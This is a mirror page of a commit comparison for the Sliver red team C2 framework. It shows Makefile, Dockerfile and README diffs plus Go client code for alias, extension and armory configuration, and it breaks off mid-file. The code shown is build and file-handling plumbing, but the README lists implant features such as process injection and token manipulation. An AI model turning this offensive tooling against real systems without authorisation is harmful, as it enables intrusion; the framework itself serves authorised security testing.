mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4ed42e4a3d | ||
|
|
ffee881de0 | ||
|
|
339bf15387 | ||
|
|
92c9a50ba7 | ||
|
|
b5d1e9a3d1 | ||
|
|
bcc7fb0fcb | ||
|
|
795001f690 | ||
|
|
b0c4f89bcf | ||
|
|
fb72322065 | ||
|
|
a1e51d64d4 | ||
|
|
d15c257176 | ||
|
|
97d3da75b6 | ||
|
|
4e3efeb623 | ||
|
|
81c7dd69da | ||
|
|
6c3b754943 | ||
|
|
fbea84eeb6 | ||
|
|
0c83bdc6d1 | ||
|
|
476eafccf5 | ||
|
|
1501633565 | ||
|
|
addd22d2f7 | ||
|
|
f196278c3e | ||
|
|
3aa33d3679 | ||
|
|
ab197461ae | ||
|
|
6488df4374 | ||
|
|
15c5eb29e5 | ||
|
|
91e4f5a33b | ||
|
|
62a6ffd1ac | ||
|
|
a69512ba65 | ||
|
|
3a1cd3a477 | ||
|
|
da0499f9da | ||
|
|
3169b436a8 | ||
|
|
26faea2ae0 | ||
|
|
11eb5f5f27 | ||
|
|
49d742cfad | ||
|
|
028521ddc0 | ||
|
|
66dad91d86 | ||
|
|
b9f8e045d9 | ||
|
|
8ffad32591 | ||
|
|
d60dcabd86 | ||
|
|
68cece2b96 | ||
|
|
5d3ef197e3 | ||
|
|
62c8d678e2 | ||
|
|
68fd6b27f9 | ||
|
|
21d2a10b7a | ||
|
|
efd4115a1c | ||
|
|
eed3f51be2 | ||
|
|
54b09d9a26 | ||
|
|
1bc1bc11c0 | ||
|
|
14aebe943c | ||
|
|
0f20dddc95 | ||
|
|
75e0b9d931 | ||
|
|
7af5280cd6 | ||
|
|
1d86383e0d | ||
|
|
3be52dde2f | ||
|
|
8b18bf571a | ||
|
|
6dacb8ad9f | ||
|
|
1db8e5a22e | ||
|
|
45f323eae9 | ||
|
|
22e615b1b4 | ||
|
|
afa534ea39 | ||
|
|
10429b7314 | ||
|
|
dfb6d2e1bb | ||
|
|
de3f2c827d | ||
|
|
4569621a8a | ||
|
|
f21242ca2c | ||
|
|
c13a71c92f | ||
|
|
9b85a63f69 | ||
|
|
fdab12c9a5 | ||
|
|
26abb42859 | ||
|
|
bf892e9c4b | ||
|
|
cb7f2b1aea | ||
|
|
44f16bb6a3 | ||
|
|
51af17906c | ||
|
|
4ba374cee6 | ||
|
|
55c1145b2d | ||
|
|
336fc4ffea | ||
|
|
581395e9a4 | ||
|
|
16ce440014 | ||
|
|
2bf87bff98 | ||
|
|
63c316e4d7 | ||
|
|
65788c1003 | ||
|
|
cf8e6ace2e | ||
|
|
131061a015 | ||
|
|
ed18705ccf | ||
|
|
88be0e0846 | ||
|
|
edd330a4e1 | ||
|
|
26c4d04d8d | ||
|
|
283f605351 | ||
|
|
fd82c4b171 | ||
|
|
3d0d61685c | ||
|
|
177358040f | ||
|
|
e4db7d3323 | ||
|
|
7b42983e4f | ||
|
|
441f97ad6f | ||
|
|
efea316519 | ||
|
|
f391f72b04 | ||
|
|
2ebaf3115c | ||
|
|
630adc0e48 | ||
|
|
981aa8b80f | ||
|
|
024f70edc5 | ||
|
|
bf9b3f4aa6 | ||
|
|
5fc94d24bd | ||
|
|
5394f77f4a | ||
|
|
b41ac3a229 | ||
|
|
5c3fd8cb2b | ||
|
|
adbe7c7def | ||
|
|
bfcbb0bba6 | ||
|
|
4495c36853 | ||
|
|
f8d2f30344 | ||
|
|
55752d1109 | ||
|
|
48f7560655 | ||
|
|
92e0f87d44 | ||
|
|
13498da60c | ||
|
|
9c878527a5 | ||
|
|
f81419614d | ||
|
|
368442e094 | ||
|
|
670c4b7f9a | ||
|
|
77693c6be1 | ||
|
|
35bd3fd44a | ||
|
|
a916f8b38b | ||
|
|
fa2645e186 | ||
|
|
597950fa0a | ||
|
|
2acced66f1 | ||
|
|
39a6e13ae4 | ||
|
|
2e1aa54130 | ||
|
|
97715302a3 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.17.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -6,33 +6,47 @@ GO ?= go
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -70,39 +84,39 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
@@ -114,6 +128,17 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
@@ -1,9 +1 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
fs/**
|
||||
@@ -0,0 +1,65 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
+11
-72
@@ -19,49 +19,28 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -73,7 +52,7 @@ func GetExtensionsDir() string {
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -81,7 +60,7 @@ func assetVersion() string {
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
@@ -93,12 +72,12 @@ func Setup(force bool, echo bool) {
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
@@ -106,43 +85,3 @@ func Setup(force bool, echo bool) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -49,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("Empty config")
|
||||
return errors.New("empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -1,4 +1,11 @@
|
||||
Macros
|
||||
Alias
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,126 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
